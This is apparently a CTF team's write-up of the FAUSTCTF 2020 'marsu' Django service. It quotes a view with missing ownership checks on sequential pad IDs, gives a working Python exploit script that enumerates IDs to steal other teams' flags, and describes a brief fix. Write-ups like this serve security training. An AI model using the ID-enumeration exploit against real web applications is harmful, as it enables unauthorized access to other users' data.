Saarsec

saarsec

Schwenk and pwn

FAUSTCTF 2020 - marsu

MarsU is a Python Django service for researchers. In the Web Application you can create projects, add research papers, as well as reading lists. To add description and notes to projects markdown pads can be assigned to projects. Those markdown pads are managed/created by another service, hosted at 127.0.0.66:9999. This Web service is an OCAML binary which creates markdown Pads and save them as .md files in the pads folder.

(Only?) bug: add existing pads to new project:

When creating a new Project under the /create endpoint a list of pads can be added to the new project. The pad list is present as list of IDs (PK) of the pads.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@ensure_csrf_cookie
@login_required
def create(request):
  if request.method == 'POST':
    form = NewProjectForm(request.POST)
    if not form.is_valid():
      return render(request, 'project/create.xml', {'form': form})

    # TODO Step 2: confirm inviting new people
    proj = Project()
    proj.title = form.cleaned_data['title']
    proj.save()
    proj.users.add(request.user)
    proj.save()
    for pk in form.cleaned_data['pad']:
      pad = Pad.objects.get(pk=pk)
      pad.project.add(proj)
      pad.save()

    return HttpResponseRedirect(reverse('project:view', args=(proj.id,)))
  else:
    form = NewProjectForm()
    return render(request, 'project/create.xml', {'form': form})

Because the pads do not have any owner assigned, and because the IDs of the pads are incremental, we can add all existsing pads to our new project. However, if for some reason we would try to add a that which did not exist, the code in line 16 throws an error, meaning we will not get redirected to the correct project page. Hence, we instead just added each pad one-by-one with a new project.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def exploit(raw_ipv6):
    service_port = 12345
    target = f'[{raw_ipv6}]:{service_port}'
    s = requests.Session()
    # Get CSRF Token
    _ = s.get(f'http://{target}/accounts/register', timeout=10)
    # Register new Account
    password = random_string()
    data = {
        'csrfmiddlewaretoken': s.cookies['csrftoken'],
        'username': random_string(),
        'password1': password,
        'password2': password,
    }
    _ = s.post(f'http://{target}/accounts/register', data=data, timeout=10)
    # Create "new" Project to get max ID
    s.headers["X-CSRFToken"] = s.cookies["csrftoken"]
    p = s.post(f'http://{target}/p/create/pad', json={"name": ""}, timeout=10)
    max_id = p.json()['pk']
    # Get all the flags!
    for i in range(max_id - 20, max_id - 1):
        data = {
            'csrfmiddlewaretoken': s.cookies['csrftoken'],
            'title': 'My Awesome Mars Research',
            'people': json.dumps([]),
            'pad': json.dumps([i - 1]),
        }
        p = s.post(f'http://{target}/p/create/', data=data, timeout=10)
        print_flags(p.text)

Fixing the bugs (in CTF style)

Since the gameserver would always add the pad right away, we simply added a check to ensure that the pad did not yet have any project assigned to it. This seemed to fix the bugs nicely.

Summary

Overall nice service, but we seemingly wasted a lot of time at the end of the CTF trying to find a bug in the OCAML binary; while it seemed there actually was nothing to be found there.

In total, we managed to get 5,369 flags on this service (incl. first blood).